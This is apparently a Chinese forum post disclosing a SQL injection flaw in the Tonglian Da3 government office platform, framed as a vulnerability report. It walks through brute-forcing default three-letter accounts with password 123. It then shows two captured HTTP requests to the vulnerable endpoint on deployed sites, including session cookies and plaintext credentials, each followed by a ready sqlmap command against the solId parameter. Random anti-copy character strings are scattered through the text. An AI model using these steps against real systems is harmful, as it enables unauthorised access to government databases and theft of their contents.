同联Da3协同办公平台前台通用sql injection漏洞

admin

: p* _: {3 x/ S) a1 W
# F5 X6 K8 h2 [: g W3 X

2 b5 K$ e0 @: m, ]. P, G

平台简介：

* Z: \. c ~" a( z: i

/ C- S9 W$ a6 M4 e8 D  

( q0 u s. W9 B6 M# |

/ }5 l' y% z+ @0 w- h 北京同联信息技术有限公司（以下简称同联）由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务，以加强各级政府的精细化、智能化管理，形成高效、敏捷、便民的新型政府。”为使命，致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
1 |3 T6 F/ T2 q" J _+ |$ v9 l同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位，分别提供以“移动政务办公”为主的Da3系列管理软件；针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
! @4 U8 G* F1 z0 A/ s同联本着“协作、专业、创新”的工作方针，为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献！

  ! O- _$ J+ I3 P9 o! R

由于此程序为新开发的程序，故能找到的案例并不多，下面附案例地址：

+ U5 g8 f5 _% c  

http://1.1.1.1:7197/cap-aco/#（案例2-）

' G. q+ U3 ? ^: o6 K) o

http://www.XXOO.com （案例1-官网网站）

6 I2 q9 ^+ l; X! i: |   ( V" S. r, G, w4 k5 U9 @! ^

$ _, `6 v. q; [, ?, J: h1 H

漏洞详情: 1 j6 L4 B1 K' z, i# p) T4 w

5 T- b: F- y! x8 x! X' e/ Q2 A

 初步确定平台的默认账号为姓名的首字母小写，初始密码为123，为了能够更好的模拟入侵，使用黑盒测试手段进行测试 0 h$ _( r0 ^" B+ {( B0 d

& B" w% r5 ]; q9 E- w% U

' r c9 {4 L) h; D' f4 e2 e0 c( R      首先使用burpsuite代理，然后再用黑客字典生成一个全英文小写的3位字典，利用burpsuite进行暴力破解，破解结果如图：

Z1 D f3 F3 f0 `

 

  ; _9 K, A$ D1 c3 o: f

status为302即表示破解成功，然后找个破解成功的账号登录系统。经过长时间的手工测试发现在发文管理模块抓包，抓包的数据分别如下：

L# i+ W+ Z, J, s3 m8 J5 A

1、案例1-官方网站

GET /bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=42b0234e-d5dc-402d-9cef-1ce38cbae480&state=&title=1111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510060789826 HTTP/1.1

Host: www.XXOO.com

Proxy-Connection: Keep-Alive

Accept: application/json, text/javascript, */*; q=0.01

: r1 L: B- j" ?/ `! F- L+ w: |2 i

% k e/ O# z( y" f1 R Accept-Language: zh-CN

Content-Type: application/json & \9 t. r S$ b. Q" ]6 f

1 {1 A8 j( ^9 n4 _

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0; SE 2.X MetaSr 1.0) like Gecko

+ D* d C9 G$ Y* L X-Requested-With: XMLHttpRequest & d% p J9 R, z" t! l/ B! _ `& M; {2 J

& l: ^7 H9 S( [: _+ l @3 q N8 \ Referer: http://www.XXOO.com/bizRunContro ... 80?modCode=1008M002 6 t$ }+ Q# R5 }' v7 i% n

9 u3 Z; P$ g2 }* u6 ~" P

Accept-Encoding: gzip, deflate, sdch

, R; T; r' `5 z [3 G) e) n! j

) C5 a% H! ^ D% e; n8 x Cookie: username=chm; password=123; rememberme=1; autoSubmit=1; sid=2cf5142f-6c1e-4cbb-89d8-2ebd08438b2e 1 y8 I" v+ s* x% N+ G1 G2 D8 R% ^

?9 I3 [- k) R+ O$ k! L

, L& f9 [" w0 A) y 将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为：sqlmap.py -r tl.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图:

, f$ Y- T0 {6 z8 F: u  

X9 {+ x8 r; l

  + ]3 @# N; p$ m3 a

  ; l1 c. l2 l. }$ F% [

6 A0 S& R/ c4 d3 m; y3 v7 `8 R6 r, o( A

5 q1 m K& i8 W  

 

6 X3 H# n1 R/ a! z& [! \# c7 P' W

) O% G' n9 ?! Z1 T1 |! L 2、案例2-某天河云平台

( d# z# `; n' `. |

7 n6 _2 z3 m& `8 e7 a GET /cap-aco/bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=af056885-4ae5-4e0b-8a0d-c413a786f2db&state=&title=11111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510047738662 HTTP/1.1 $ V1 W2 I. w" E- y- E

( q6 f+ B' Z: N Host: 1.1.1.:7197 R _& _/ G/ b& \$ S

3 e* ^; Q* [. {

Accept: application/json, text/javascript, */*; q=0.01

' N6 F% X* k2 `7 _- H C+ P" C8 x( T

X-Requested-With: XMLHttpRequest ) z2 j* O2 R9 m+ M! }& I

6 Q- h- a; M& Z+ W

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0

$ r( {/ a) N; e; B# Q! m0 k$ L) {

Content-Type: application/json & B0 T4 H" z4 H% r) `

Referer: http://1.1.1.1:7197/cap-aco/bizR ... 86f2db?modCode=1008

Accept-Language: zh-CN,zh;q=0.8 ) d) g& d, o6 ^6 b

/ b7 j+ Y/ W2 g/ y" _- k

Cookie: autoSubmit=1; sid=4e333ec9-d194-456b-bb08-4ff64c6eb1fc; username=lxr; password=123; rememberme=1; autoSubmit=1

2 {; k+ P' X; y8 n; n" ?1 }$ P Connection: close 5 ^4 C: w, Q" u+ J" a0 J- d Y0 I5 ?9 U

将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为：sqlmap.py -r 1.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图:

 

; E/ r/ C" f" }! |0 o